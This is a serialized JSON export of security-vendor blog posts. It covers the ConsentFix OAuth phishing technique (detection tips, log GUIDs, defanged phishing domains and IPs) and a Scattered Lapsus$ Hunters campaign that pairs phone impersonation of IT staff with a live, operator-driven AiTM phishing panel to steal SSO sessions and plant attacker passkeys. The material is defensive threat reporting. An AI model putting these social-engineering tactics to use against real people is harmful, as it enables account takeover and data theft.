passkeys have no impact on this attack. ",{"data":67048,"content":67049,"nodeType":1570},{},[67050],{"data":67051,"content":67052,"nodeType":866},{},[67053],{"data":67054,"marks":67055,"value":67056,"nodeType":865},{},[],"The use of advanced detection evasion techniques makes this attack difficult to investigate, meaning these attacks are going undetected. ",{"data":67058,"content":67059,"nodeType":866},{},[67060],{"data":67061,"marks":67062,"value":67063,"nodeType":865},{},[],"We’re sure to see more examples of ConsentFix in future. We’ll be monitoring to see how attackers adapt in terms of integrating these capabilities with common as-a-Service offerings to make them more widespread, and whether the scope extends further beyond Microsoft / Azure CLI targets in the future to target other enterprise cloud ecosystems. ",{"data":67065,"content":67066,"nodeType":972},{},[],{"data":67068,"content":67069,"nodeType":981},{},[67070],{"data":67071,"marks":67072,"value":67074,"nodeType":865},{},[67073],{"type":926},"Recommendations",{"data":67076,"content":67080,"nodeType":912},{"target":67077},{"sys":67078},{"id":67079,"type":909,"linkType":910},"3aBCwdB2aNnLRxRN5RrshC",[],{"data":67082,"content":67083,"nodeType":866},{},[67084],{"data":67085,"marks":67086,"value":67087,"nodeType":865},{},[],"On the backend, exploitation of this attack will lead to login events being observed to the Microsoft Azure CLI app. It’s likely that any legitimate use of this will most likely be limited to system administrators and possibly developers. Therefore, logins outside of these groups will be inherently more suspicious.",{"data":67089,"content":67090,"nodeType":866},{},[67091],{"data":67092,"marks":67093,"value":67094,"nodeType":865},{},[],"Additionally, it’s possible that aspects of the logins themselves will be different between legitimate Azure CLI use and exploitation of this attack. For example, see the following logs from a lab environment. The login events with an application of  “Microsoft Azure CLI” and a resource of “Azure Resource Manager” was legitimate use of the Azure CLI using the powershell CLI framework. Conversely, the login event with the Resource of “Windows Azure Active Directory” was produced by logging in using the method used by the phishing kit.",{"data":67096,"content":67100,"nodeType":912},{"target":67097},{"sys":67098},{"id":67099,"type":909,"linkType":910},"6ie0nkk6XbgwidfwmiGwL4",[],{"data":67102,"content":67103,"nodeType":866},{},[67104],{"data":67105,"marks":67106,"value":67107,"nodeType":865},{},[],"There is no guarantee this can be used to differentiate between legitimate and malicious examples, but it’s another data point to consider. If searching logs you may wish to use the respective GUIDs for these:",{"data":67109,"content":67110,"nodeType":1616},{},[67111,67126],{"data":67112,"content":67113,"nodeType":1570},{},[67114],{"data":67115,"content":67116,"nodeType":866},{},[67117,67122],{"data":67118,"marks":67119,"value":67121,"nodeType":865},{},[67120],{"type":926},"Application ID",{"data":67123,"marks":67124,"value":67125,"nodeType":865},{},[]," = 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":67127,"content":67128,"nodeType":1570},{},[67129],{"data":67130,"content":67131,"nodeType":866},{},[67132,67137],{"data":67133,"marks":67134,"value":67136,"nodeType":865},{},[67135],{"type":926},"Resource ID",{"data":67138,"marks":67139,"value":67140,"nodeType":865},{},[]," = 00000002-0000-0000-c000-000000000000",{"data":67142,"content":67143,"nodeType":866},{},[67144],{"data":67145,"marks":67146,"value":67147,"nodeType":865},{},[],"For interactive logins, like above, you cannot rely on looking for logins from suspicious IP addresses or locations. The login itself occurs from the victims browser directly to Microsoft, and so the IP addresses associated with these events will be the legitimate IP used by the target user, not by the threat actor. ",{"data":67149,"content":67150,"nodeType":866},{},[67151],{"data":67152,"marks":67153,"value":67154,"nodeType":865},{},[],"However, for non-interactive logins and other audit logs for actions taken, you may be able to uncover unusual IP addresses that differ from the original interactive login. For example, here are some non-interactive logins that were observed immediately after compromise that came from different IP addresses in both the US and Indonesia.",{"data":67156,"content":67160,"nodeType":912},{"target":67157},{"sys":67158},{"id":67159,"type":909,"linkType":910},"TD3YeWqgGIWIWM8FRHU4o",[],{"data":67162,"content":67163,"nodeType":866},{},[67164],{"data":67165,"marks":67166,"value":67167,"nodeType":865},{},[],"Interestingly, they differ in which resources they accessed, with one accessing the Windows Azure Active Directory resource ID like the interactive login, but two others accessing the Microsoft Intune Checkin resource ID. ",{"data":67169,"content":67173,"nodeType":912},{"target":67170},{"sys":67171},{"id":67172,"type":909,"linkType":910},"57PqDQiAiwzqkspVpROQXb",[],{"data":67175,"content":67176,"nodeType":1317},{},[67177],{"data":67178,"marks":67179,"value":67181,"nodeType":865},{},[67180],{"type":926},"IoCs",{"data":67183,"content":67184,"nodeType":866},{},[67185,67188,67195],{"data":67186,"marks":67187,"value":44799,"nodeType":865},{},[],{"data":67189,"content":67190,"nodeType":889},{"uri":38042},[67191],{"data":67192,"marks":67193,"value":38047,"nodeType":865},{},[67194],{"type":943},{"data":67196,"marks":67197,"value":67198,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":67200,"content":67201,"nodeType":866},{},[67202],{"data":67203,"marks":67204,"value":67205,"nodeType":865},{},[],"That said, the domains used to deliver the final phishing payload were:",{"data":67207,"content":67208,"nodeType":1616},{},[67209,67219,67229],{"data":67210,"content":67211,"nodeType":1570},{},[67212],{"data":67213,"content":67214,"nodeType":866},{},[67215],{"data":67216,"marks":67217,"value":67218,"nodeType":865},{},[],"hxxps://trustpointassurance.com/",{"data":67220,"content":67221,"nodeType":1570},{},[67222],{"data":67223,"content":67224,"nodeType":866},{},[67225],{"data":67226,"marks":67227,"value":67228,"nodeType":865},{},[],"hxxps://fastwaycheck.com/",{"data":67230,"content":67231,"nodeType":1570},{},[67232],{"data":67233,"content":67234,"nodeType":866},{},[67235],{"data":67236,"marks":67237,"value":67238,"nodeType":865},{},[],"hxxps://previewcentral.com",{"data":67240,"content":67241,"nodeType":866},{},[67242],{"data":67243,"marks":67244,"value":67245,"nodeType":865},{},[],"In addition, we recommend hunting for connections from the following IPs in Azure logs:",{"data":67247,"content":67248,"nodeType":1616},{},[67249,67259,67269],{"data":67250,"content":67251,"nodeType":1570},{},[67252],{"data":67253,"content":67254,"nodeType":866},{},[67255],{"data":67256,"marks":67257,"value":67258,"nodeType":865},{},[],"12.75.216.90",{"data":67260,"content":67261,"nodeType":1570},{},[67262],{"data":67263,"content":67264,"nodeType":866},{},[67265],{"data":67266,"marks":67267,"value":67268,"nodeType":865},{},[],"182.3.36.223",{"data":67270,"content":67271,"nodeType":1570},{},[67272],{"data":67273,"content":67274,"nodeType":866},{},[67275],{"data":67276,"marks":67277,"value":67278,"nodeType":865},{},[],"12.75.116.137",{"data":67280,"content":67281,"nodeType":972},{},[],{"data":67283,"content":67284,"nodeType":981},{},[67285],{"data":67286,"marks":67287,"value":67289,"nodeType":865},{},[67288],{"type":926},"How Push stopped the attack",{"data":67291,"content":67292,"nodeType":866},{},[67293],{"data":67294,"marks":67295,"value":67296,"nodeType":865},{},[],"Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. ",{"data":67298,"content":67302,"nodeType":912},{"target":67299},{"sys":67300},{"id":67301,"type":909,"linkType":910},"5YzpiQH974EYA5iPPZMXkV",[],{"data":67304,"content":67305,"nodeType":866},{},[67306,67310,67318],{"data":67307,"marks":67308,"value":67309,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that Push sees what your users see. It doesn’t matter what ",{"data":67311,"content":67312,"nodeType":889},{"uri":8862},[67313],{"data":67314,"marks":67315,"value":67317,"nodeType":865},{},[67316],{"type":943},"delivery channel or camouflage methods are used",{"data":67319,"marks":67320,"value":67321,"nodeType":865},{},[],", Push shuts the attack down in real time, as the user loads the malicious page in their web browser.",{"data":67323,"content":67324,"nodeType":866},{},[67325],{"data":67326,"marks":67327,"value":67328,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":67330,"content":67331,"nodeType":866},{},[67332,67335,67342,67345,67352],{"data":67333,"marks":67334,"value":11372,"nodeType":865},{},[],{"data":67336,"content":67337,"nodeType":889},{"uri":11375},[67338],{"data":67339,"marks":67340,"value":11381,"nodeType":865},{},[67341],{"type":943},{"data":67343,"marks":67344,"value":53880,"nodeType":865},{},[],{"data":67346,"content":67347,"nodeType":889},{"uri":1372},[67348],{"data":67349,"marks":67350,"value":11405,"nodeType":865},{},[67351],{"type":943},{"data":67353,"marks":67354,"value":1615,"nodeType":865},{},[],{"data":67356,"content":67360,"nodeType":912},{"target":67357},{"sys":67358},{"id":67359,"type":909,"linkType":910},"6QzB0BlVC5mstXwXHvy2c3",[],{"data":67362,"content":67363,"nodeType":866},{},[67364],{"data":67365,"marks":67366,"value":21,"nodeType":865},{},[],"Analyzing \"ConsentFix\", a new browser-native attack technique we've detected in the wild, combining OAuth consent phishing with a ClickFix-style user prompt. ","2025-12-11T00:00:00.000Z",{"items":67370},[67371,67373],{"sys":67372,"name":7796},{"id":7795},{"sys":67374,"name":342},{"id":4642},{"items":67376},[67377],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":67378},{"url":11425},{"__typename":1429,"sys":67380,"content":67382,"title":67983,"synopsis":67984,"hashTags":59,"publishedDate":67985,"slug":67986,"tagsCollection":67987,"authorsCollection":67993},{"id":67381},"44DXq5ZkL9XQV5Fngto0XZ",{"json":67383},{"data":67384,"content":67385,"nodeType":1382},{},[67386,67403,67410,67417,67420,67428,67448,67467,67501,67507,67510,67518,67526,67533,67551,67558,67563,67569,67576,67583,67591,67598,67605,67611,67618,67638,67646,67653,67660,67680,67686,67704,67710,67717,67723,67726,67733,67740,67758,67765,67792,67799,67807,67810,67818,67825,67832,67838,67845,67890,67896,67903,67934,67939,67977],{"data":67387,"content":67388,"nodeType":866},{},[67389,67392,67399],{"data":67390,"marks":67391,"value":21,"nodeType":865},{},[],{"data":67393,"content":67394,"nodeType":889},{"uri":4991},[67395],{"data":67396,"marks":67397,"value":8673,"nodeType":865},{},[67398],{"type":943},{"data":67400,"marks":67401,"value":67402,"nodeType":865},{},[]," are running a large-scale hybrid vishing plus AiTM phishing campaign across several industry verticals, targeting Okta, Entra, and Google SSO platforms. ",{"data":67404,"content":67405,"nodeType":866},{},[67406],{"data":67407,"marks":67408,"value":67409,"nodeType":865},{},[],"The attacks begin with the attacker calling their victim, impersonating IT staff from their company. They offer to help the employee set up passkeys for logging into the enterprise SSO service, tricking the victim into visiting a specially crafted adversary-in-the-middle phishing site that captures their SSO credentials, MFA codes, and ultimately live session access. ",{"data":67411,"content":67412,"nodeType":866},{},[67413],{"data":67414,"marks":67415,"value":67416,"nodeType":865},{},[],"Once an account is stolen, the attacker logs in to the SSO dashboard to see which platforms they have access to and then proceeds to steal data from them — with the ultimate goal of extorting victims. ",{"data":67418,"content":67419,"nodeType":972},{},[],{"data":67421,"content":67422,"nodeType":981},{},[67423],{"data":67424,"marks":67425,"value":67427,"nodeType":865},{},[67426],{"type":926},"What we know",{"data":67429,"content":67430,"nodeType":866},{},[67431,67435,67444],{"data":67432,"marks":67433,"value":67434,"nodeType":865},{},[],"To date, ",{"data":67436,"content":67438,"nodeType":889},{"uri":67437},"https://www.silentpush.com/blog/slsh-alert/",[67439],{"data":67440,"marks":67441,"value":67443,"nodeType":865},{},[67442],{"type":943},"100+ companies have been targeted",{"data":67445,"marks":67446,"value":67447,"nodeType":865},{},[],", with infrastructure and domains impersonating their brand to be used in legit-looking campaigns against them. The reality is that the list of targets could be more extensive, and will continue to increase over time. ",{"data":67449,"content":67450,"nodeType":866},{},[67451,67455,67463],{"data":67452,"marks":67453,"value":67454,"nodeType":865},{},[],"SLH ",{"data":67456,"content":67457,"nodeType":889},{"uri":53352},[67458],{"data":67459,"marks":67460,"value":67462,"nodeType":865},{},[67461],{"type":943},"claims to be using data stolen in previous breaches",{"data":67464,"marks":67465,"value":67466,"nodeType":865},{},[],", such as the widespread Salesforce data theft attacks reported in 2025, to identify and contact employees. This data includes phone numbers, job titles, names, and other details used to make the social engineering calls more convincing.",{"data":67468,"content":67469,"nodeType":866},{},[67470,67474,67479,67483,67488,67492,67497],{"data":67471,"marks":67472,"value":67473,"nodeType":865},{},[],"The group recently relaunched its Tor data leak site, which currently lists breaches at ",{"data":67475,"marks":67476,"value":67478,"nodeType":865},{},[67477],{"type":926},"Betterment",{"data":67480,"marks":67481,"value":67482,"nodeType":865},{},[]," (20 million records containing PII), ",{"data":67484,"marks":67485,"value":67487,"nodeType":865},{},[67486],{"type":926},"Crunchbase",{"data":67489,"marks":67490,"value":67491,"nodeType":865},{},[]," (2 million records containing PII), and ",{"data":67493,"marks":67494,"value":67496,"nodeType":865},{},[67495],{"type":926},"SoundCloud",{"data":67498,"marks":67499,"value":67500,"nodeType":865},{},[]," (30 million records containing PII). ",{"data":67502,"content":67506,"nodeType":912},{"target":67503},{"sys":67504},{"id":67505,"type":909,"linkType":910},"5scKHYJJleNklGAXNKVc7b",[],{"data":67508,"content":67509,"nodeType":972},{},[],{"data":67511,"content":67512,"nodeType":981},{},[67513],{"data":67514,"marks":67515,"value":67517,"nodeType":865},{},[67516],{"type":926},"What’s new?",{"data":67519,"content":67520,"nodeType":1317},{},[67521],{"data":67522,"marks":67523,"value":67525,"nodeType":865},{},[67524],{"type":926},"The best of both worlds? Vishing + AiTM phishing",{"data":67527,"content":67528,"nodeType":866},{},[67529],{"data":67530,"marks":67531,"value":67532,"nodeType":865},{},[],"SLH and threat actors affiliated with “The Com” are no stranger to voice phishing (vishing) or the use of MFA-bypassing Attacker-in-the-Middle (AitM) phishing kits. ",{"data":67534,"content":67535,"nodeType":866},{},[67536,67539,67547],{"data":67537,"marks":67538,"value":21,"nodeType":865},{},[],{"data":67540,"content":67541,"nodeType":889},{"uri":4991},[67542],{"data":67543,"marks":67544,"value":67546,"nodeType":865},{},[67545],{"type":943},"SLH and it’s precursor groups",{"data":67548,"marks":67549,"value":67550,"nodeType":865},{},[]," leveraged vishing to great success in the form of help desk impersonation and password/MFA reset attacks as seen in the high profile Marks & Spencer, Co-Op, and Jaguar Land Rover attacks in 2025, as well as the Caesars and MGM attacks in 2023. MFA-bypassing phishing techniques have also long been a part of their arsenal, from the 2022 0ktapus phishing campaign to more recent use of modern AiTM phishing kits. ",{"data":67552,"content":67553,"nodeType":866},{},[67554],{"data":67555,"marks":67556,"value":67557,"nodeType":865},{},[],"But until now, we haven’t seen them used together. ",{"data":67559,"content":67562,"nodeType":912},{"target":67560},{"sys":67561},{"id":53113,"type":909,"linkType":910},[],{"data":67564,"content":67568,"nodeType":912},{"target":67565},{"sys":67566},{"id":67567,"type":909,"linkType":910},"1IDsaYD3H5MjvPS4ekcUhU",[],{"data":67570,"content":67571,"nodeType":866},{},[67572],{"data":67573,"marks":67574,"value":67575,"nodeType":865},{},[],"It makes sense to combine these methods. AiTM phishing kits are flexible, highly customizable, and can be used to target a broad range of apps — including all of the major IdP platforms used for SSO. Vishing on the other hand is proven to increase the effectiveness of social engineering attacks when performed by an effective operator — which SLH are proven to be (helped by predominantly native English speakers making up their membership, along with the use of effective voice phishing tools). ",{"data":67577,"content":67578,"nodeType":866},{},[67579],{"data":67580,"marks":67581,"value":67582,"nodeType":865},{},[],"Both vishing and AiTM phishing are identity-first methods that consciously evade traditional security tools and detection controls at the endpoint and network layer. This makes them highly effective in today’s IT environment. ",{"data":67584,"content":67585,"nodeType":1317},{},[67586],{"data":67587,"marks":67588,"value":67590,"nodeType":865},{},[67589],{"type":926},"A new kind of operator-driven AiTM kit",{"data":67592,"content":67593,"nodeType":866},{},[67594],{"data":67595,"marks":67596,"value":67597,"nodeType":865},{},[],"Another unique part about this campaign is that it uses a “live phishing panel” — i.e. a customizable phishing page controlled by the attacker in real time. This enables attackers to dynamically change what a victim sees on a phishing site while speaking to them on the phone. This allows them to guide victims through each step of the login and MFA authentication process.",{"data":67599,"content":67600,"nodeType":866},{},[67601],{"data":67602,"marks":67603,"value":67604,"nodeType":865},{},[],"This is principally to increase the victim’s likelihood of engaging with the phishing page. As you can see in the image below, there are several options that can be presented to the victim — including not just the normal phishing stages of entering credentials and passing MFA checks, but also post-compromise actions (e.g. creating a passkey that would then be controlled by the attacker for persistent access even if an account password is reset). ",{"data":67606,"content":67610,"nodeType":912},{"target":67607},{"sys":67608},{"id":67609,"type":909,"linkType":910},"73Y2n3tRkGFtfhrA2AVJyv",[],{"data":67612,"content":67613,"nodeType":866},{},[67614],{"data":67615,"marks":67616,"value":67617,"nodeType":865},{},[],"At the end of the authentication flow, the threat actor can choose to redirect their target to a “support ticket\" closure screen. This allows the threat actor to manually terminate the session once the compromise is complete while providing the targeted user with context that matches the \"IT support\" ruse. This further reduces the likelihood of post-hoc reporting by a suspicious victim.",{"data":67619,"content":67620,"nodeType":866},{},[67621,67625,67634],{"data":67622,"marks":67623,"value":67624,"nodeType":865},{},[],"Given that this modular, operator-controlled phishing kit is reportedly available “",{"data":67626,"content":67628,"nodeType":889},{"uri":67627},"https://www.okta.com/blog/threat-intelligence/phishing-kits-adapt-to-the-script-of-callers/",[67629],{"data":67630,"marks":67631,"value":67633,"nodeType":865},{},[67632],{"type":943},"as a service",{"data":67635,"marks":67636,"value":67637,"nodeType":865},{},[],"” for criminals, we should expect to see much more of this in future. ",{"data":67639,"content":67640,"nodeType":1317},{},[67641],{"data":67642,"marks":67643,"value":67645,"nodeType":865},{},[67644],{"type":926},"0ktapus 2.0?",{"data":67647,"content":67648,"nodeType":866},{},[67649],{"data":67650,"marks":67651,"value":67652,"nodeType":865},{},[],"As we mentioned earlier, Scattered Spider made their reputation launching phishing attacks against Okta accounts in the 2022 0ktapus campaign. ",{"data":67654,"content":67655,"nodeType":866},{},[67656],{"data":67657,"marks":67658,"value":67659,"nodeType":865},{},[],"The vast majority of phishing attacks target IdP accounts because of the widespread access to downstream apps they grant via SSO. ",{"data":67661,"content":67662,"nodeType":866},{},[67663,67667,67676],{"data":67664,"marks":67665,"value":67666,"nodeType":865},{},[],"This comes at the same time as ",{"data":67668,"content":67670,"nodeType":889},{"uri":67669},"https://www.bleepingcomputer.com/news/security/fake-lastpass-emails-pose-as-password-vault-backup-alerts/",[67671],{"data":67672,"marks":67673,"value":67675,"nodeType":865},{},[67674],{"type":943},"attackers running campaigns to target LastPass master passwords",{"data":67677,"marks":67678,"value":67679,"nodeType":865},{},[],". This provides a similar level of access to apps in the form of credentials (and sometimes saved passkeys). ",{"data":67681,"content":67685,"nodeType":912},{"target":67682},{"sys":67683},{"id":67684,"type":909,"linkType":910},"1vyu5WvdktTnC24TkVFqfs",[],{"data":67687,"content":67688,"nodeType":866},{},[67689,67693,67700],{"data":67690,"marks":67691,"value":67692,"nodeType":865},{},[],"Not only is this a goldmine for attackers looking to steal data or pivot to other systems to be able to launch further attacks (e.g. pivoting to cloud and on-prem services for ransomware deployment) but it’s a nightmare for incident responders. If an attacker can access an app and create a backdoor login method (AKA. a ",{"data":67694,"content":67695,"nodeType":889},{"uri":6710},[67696],{"data":67697,"marks":67698,"value":62154,"nodeType":865},{},[67699],{"type":943},{"data":67701,"marks":67702,"value":67703,"nodeType":865},{},[],") it can be very difficult for a security team to identify and clean them up. ",{"data":67705,"content":67709,"nodeType":912},{"target":67706},{"sys":67707},{"id":67708,"type":909,"linkType":910},"7tILkroPw9w0WLIo1bVV24",[],{"data":67711,"content":67712,"nodeType":866},{},[67713],{"data":67714,"marks":67715,"value":67716,"nodeType":865},{},[],"Check out the excerpt from one of our recent webinars below for more information. ",{"data":67718,"content":67722,"nodeType":912},{"target":67719},{"sys":67720},{"id":67721,"type":909,"linkType":910},"5IVkapjwLp1Ys14vXagQRD",[],{"data":67724,"content":67725,"nodeType":972},{},[],{"data":67727,"content":67728,"nodeType":981},{},[67729],{"data":67730,"marks":67731,"value":37911,"nodeType":865},{},[67732],{"type":926},{"data":67734,"content":67735,"nodeType":866},{},[67736],{"data":67737,"marks":67738,"value":67739,"nodeType":865},{},[],"This combination of methods is likely to increase the success of these malicious campaigns as well as reducing the likelihood of detection. ",{"data":67741,"content":67742,"nodeType":866},{},[67743,67747,67754],{"data":67744,"marks":67745,"value":67746,"nodeType":865},{},[],"It’s well documented that modern phishing attacks use a wide and ever-expanding range of ",{"data":67748,"content":67749,"nodeType":889},{"uri":5053},[67750],{"data":67751,"marks":67752,"value":8868,"nodeType":865},{},[67753],{"type":943},{"data":67755,"marks":67756,"value":67757,"nodeType":865},{},[]," — from implementing legitimate bot protection technologies to prevent analysis, to only loading pages if the correct parameters are met — such as coming through a specific URL redirect path, and adhering to “normal” browser configs (excluding unusual browser window sizes and the presence of security analysis tools).",{"data":67759,"content":67760,"nodeType":866},{},[67761],{"data":67762,"marks":67763,"value":67764,"nodeType":865},{},[],"In this case, the malicious payload will only trigger in the event that the delivery is approved by an operator in real time. This means that anyone attempting to find and proactively block a phishing page based on indicators of known-bad is going to have a tough time finding and flagging them. If you haven’t got a community of security analysts sharing and tagging samples of malicious pages, it makes it really hard to find and block them at scale before they hit a victim. And if these convincing attacks aren’t being reported, they’re even less likely to be investigated. This is what we mean when we say that most phishing attacks today are effectively zero-day. ",{"data":67766,"content":67767,"nodeType":866},{},[67768,67772,67777,67780,67788],{"data":67769,"marks":67770,"value":67771,"nodeType":865},{},[],"In this case, it’s worth pointing out that the phone call is essentially the delivery vector for the phishing page. This means there’s no email to intercept and analyse. This isn’t new — ",{"data":67773,"marks":67774,"value":67776,"nodeType":865},{},[67775],{"type":926},"non-email vectors now account for more than 1 in 3 phishing attacks intercepted by Push",{"data":67778,"marks":67779,"value":2717,"nodeType":865},{},[],{"data":67781,"content":67782,"nodeType":889},{"uri":4813},[67783],{"data":67784,"marks":67785,"value":67787,"nodeType":865},{},[67786],{"type":943},"LinkedIn and Google Search being the top culprits",{"data":67789,"marks":67790,"value":67791,"nodeType":865},{},[],". This effectively cuts out the primary phishing detection surface for most organizations.",{"data":67793,"content":67794,"nodeType":866},{},[67795],{"data":67796,"marks":67797,"value":67798,"nodeType":865},{},[],"All this means that unless you’re able to detect and block these attacks in real time, organizations will find themselves unable to counter this evolving threat. ",{"data":67800,"content":67801,"nodeType":866},{},[67802],{"data":67803,"marks":67804,"value":67806,"nodeType":865},{},[67805],{"type":926},"The best/only way to do that is to be in the browser. ",{"data":67808,"content":67809,"nodeType":972},{},[],{"data":67811,"content":67812,"nodeType":981},{},[67813],{"data":67814,"marks":67815,"value":67817,"nodeType":865},{},[67816],{"type":926},"How Push stops the attack",{"data":67819,"content":67820,"nodeType":866},{},[67821],{"data":67822,"marks":67823,"value":67824,"nodeType":865},{},[],"As a browser-based detection and response tool, Push is perfectly positioned to detect and block attacks like this in real-time. ",{"data":67826,"content":67827,"nodeType":866},{},[67828],{"data":67829,"marks":67830,"value":67831,"nodeType":865},{},[],"Push harnesses deep browser telemetry to detect and block phishing based on behaviors, not static indicators. By analyzing how phishing pages behave and how users interact with them, Push uncovers fake pages, attempted credential theft, and phishing kits the moment they load in the browser — regardless of the delivery mechanism, and even when the attack has never been seen before. ",{"data":67833,"content":67837,"nodeType":912},{"target":67834},{"sys":67835},{"id":67836,"type":909,"linkType":910},"2TAKFM1rpETq4KtTY3FPIs",[],{"data":67839,"content":67840,"nodeType":866},{},[67841],{"data":67842,"marks":67843,"value":67844,"nodeType":865},{},[],"Push's browser-based controls include:",{"data":67846,"content":67847,"nodeType":1616},{},[67848,67869],{"data":67849,"content":67850,"nodeType":1570},{},[67851],{"data":67852,"content":67853,"nodeType":866},{},[67854,67857,67865],{"data":67855,"marks":67856,"value":21,"nodeType":865},{},[],{"data":67858,"content":67860,"nodeType":889},{"uri":67859},"https://pushsecurity.com/blog/introducing-sso-password-protection/",[67861],{"data":67862,"marks":67863,"value":67864,"nodeType":865},{},[],"Fingerprinting high-risk app passwords",{"data":67866,"marks":67867,"value":67868,"nodeType":865},{},[]," so they can only be used on a specific domain. Any attempt to reuse this password elsewhere (such as on a phishing site) results in the attempt being blocked. ",{"data":67870,"content":67871,"nodeType":1570},{},[67872],{"data":67873,"content":67874,"nodeType":866},{},[67875,67878,67886],{"data":67876,"marks":67877,"value":21,"nodeType":865},{},[],{"data":67879,"content":67881,"nodeType":889},{"uri":67880},"https://pushsecurity.com/blog/detecting-and-blocking-phishing-attacks-in-the-browser/",[67882],{"data":67883,"marks":67884,"value":67885,"nodeType":865},{},[],"Multiple browser-based checks",{"data":67887,"marks":67888,"value":67889,"nodeType":865},{},[]," looking for indicators of bad, such as cloned elements from legitimate websites, and an ever-growing number of detections relating to phishing kit behaviors and attributes as they are rendered on a page. ",{"data":67891,"content":67895,"nodeType":912},{"target":67892},{"sys":67893},{"id":67894,"type":909,"linkType":910},"4ESxxjTjNwNXGEW4DBcMVV",[],{"data":67897,"content":67898,"nodeType":866},{},[67899],{"data":67900,"marks":67901,"value":67902,"nodeType":865},{},[],"Because Push observes every login made in the browser, you can also use Push to find identities susceptible to phishing attacks, such as those not using phishing-resistant authentication methods (e.g. passkeys), to proactively improve your account hygiene and reduce your attack surface. ",{"data":67904,"content":67905,"nodeType":866},{},[67906,67910,67918,67922,67930],{"data":67907,"marks":67908,"value":67909,"nodeType":865},{},[],"Finally, you can also use our ",{"data":67911,"content":67912,"nodeType":889},{"uri":54449},[67913],{"data":67914,"marks":67915,"value":67917,"nodeType":865},{},[67916],{"type":943},"employee verification codes",{"data":67919,"marks":67920,"value":67921,"nodeType":865},{},[]," feature as part of a layered defense — a simple, browser-based identity check that gives your employees a reliable way to confirm they’re talking to another employee from your organization. It enables employees to quickly verify that a caller is who they say they are by relaying a rotating 6-digit verification code displayed in every employee's browser via the Push extension. This is an effective way of combating ",{"data":67923,"content":67924,"nodeType":889},{"uri":53458},[67925],{"data":67926,"marks":67927,"value":67929,"nodeType":865},{},[67928],{"type":943},"help desk scams",{"data":67931,"marks":67932,"value":67933,"nodeType":865},{},[]," too — another favorite of SLH. ",{"data":67935,"content":67938,"nodeType":912},{"target":67936},{"sys":67937},{"id":54465,"type":909,"linkType":910},[],{"data":67940,"content":67941,"nodeType":7584},{},[67942],{"data":67943,"content":67944,"nodeType":866},{},[67945,67948,67955,67958,67964,67967,67974],{"data":67946,"marks":67947,"value":61568,"nodeType":865},{},[],{"data":67949,"content":67950,"nodeType":889},{"uri":11375},[67951],{"data":67952,"marks":67953,"value":61576,"nodeType":865},{},[67954],{"type":943},{"data":67956,"marks":67957,"value":2717,"nodeType":865},{},[],{"data":67959,"content":67960,"nodeType":889},{"uri":11387},[67961],{"data":67962,"marks":67963,"value":61587,"nodeType":865},{},[],{"data":67965,"marks":67966,"value":11397,"nodeType":865},{},[],{"data":67968,"content":67969,"nodeType":889},{"uri":1372},[67970],{"data":67971,"marks":67972,"value":11405,"nodeType":865},{},[67973],{"type":943},{"data":67975,"marks":67976,"value":1615,"nodeType":865},{},[],{"data":67978,"content":67979,"nodeType":866},{},[67980],{"data":67981,"marks":67982,"value":21,"nodeType":865},{},[],"Unpacking the latest SLH campaign — combining vishing with AiTM phishing to hijack SSO accounts","Analyzing the latest Scattered Lapsus$ Hunters (SLH) phishing campaign targeting hundreds of organizations.\n","2026-01-28T00:00:00.000Z","unpacking-the-latest-slh-campaign",{"items":67988},[67989,67991],{"sys":67990,"name":7796},{"id":7795},{"sys":67992,"name":342},{"id":4642},{"items":67994},[67995],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":67996},{"url":7804},"blog/device-code-phishing",{"json":67999},{"data":68000,"content":68001,"nodeType":1382},{},[68002],{"data":68003,"content":68004,"nodeType":866},{},[68005],{"data":68006,"marks":68007,"value":68008,"nodeType":865},{},[],"Device code phishing is an account takeover technique that abuses the OAuth 2.0 Device Authorization Grant to steal access tokens while bypassing standard access controls (like passwords, MFA, and even passkeys).",{"id":8411,"publishedAt":68010},"2026-08-12T11:53:02.556Z",{"items":68012},[68013,68015],{"sys":68014,"name":7796},{"id":7795},{"sys":68016,"name":342},{"id":4642},{"items":68018},[68019,68021,68023,68025,68027,68029,68031,68033,68035,68037,68039,68041,68043,68045,68047,68049,68051],{"sys":68020,"name":279,"slug":280,"tier":31},{"id":276},{"sys":68022,"name":519,"slug":520,"tier":31},{"id":516},{"sys":68024,"name":413,"slug":414,"tier":31},{"id":410},{"sys":68026,"name":642,"slug":643,"tier":31},{"id":639},{"sys":68028,"name":342,"slug":343,"tier":31},{"id":339},{"sys":68030,"name":360,"slug":361,"tier":45},{"id":357},{"sys":68032,"name":466,"slug":467,"tier":45},{"id":463},{"sys":68034,"name":484,"slug":485,"tier":45},{"id":481},{"sys":68036,"name":571,"slug":572,"tier":45},{"id":568},{"sys":68038,"name":511,"slug":512,"tier":45},{"id":508},{"sys":68040,"name":607,"slug":608,"tier":45},{"id":604},{"sys":68042,"name":650,"slug":651,"tier":45},{"id":647},{"sys":68044,"name":261,"slug":262,"tier":45},{"id":258},{"sys":68046,"name":493,"slug":494,"tier":45},{"id":490},{"sys":68048,"name":475,"slug":476,"tier":45},{"id":472},{"sys":68050,"name":404,"slug":405,"tier":45},{"id":401},{"sys":68052,"name":315,"slug":316,"tier":45},{"id":312},"8tjCe4rlgxCHc3XVdlvd0ZnFwPabXi2E9C7FD0L6OHs",{"id":68055,"title":68056,"authorsCollection":68057,"content":68062,"extension":228,"faqItemsCollection":68734,"faqTitle":59,"featured":6,"hashTags":59,"meta":68736,"metaTitle":68737,"ogImage":59,"postType":42959,"publishedDate":68738,"relatedBlogPostsCollection":68739,"slug":71188,"stem":71189,"subtitle":59,"summary":71190,"synopsis":71201,"sys":71202,"tagsCollection":71205,"topicsCollection":71211,"__hash__":71239},"blog/blog/tiktok-phishing.json","Attackers are now targeting business TikTok accounts using session-stealing phishing 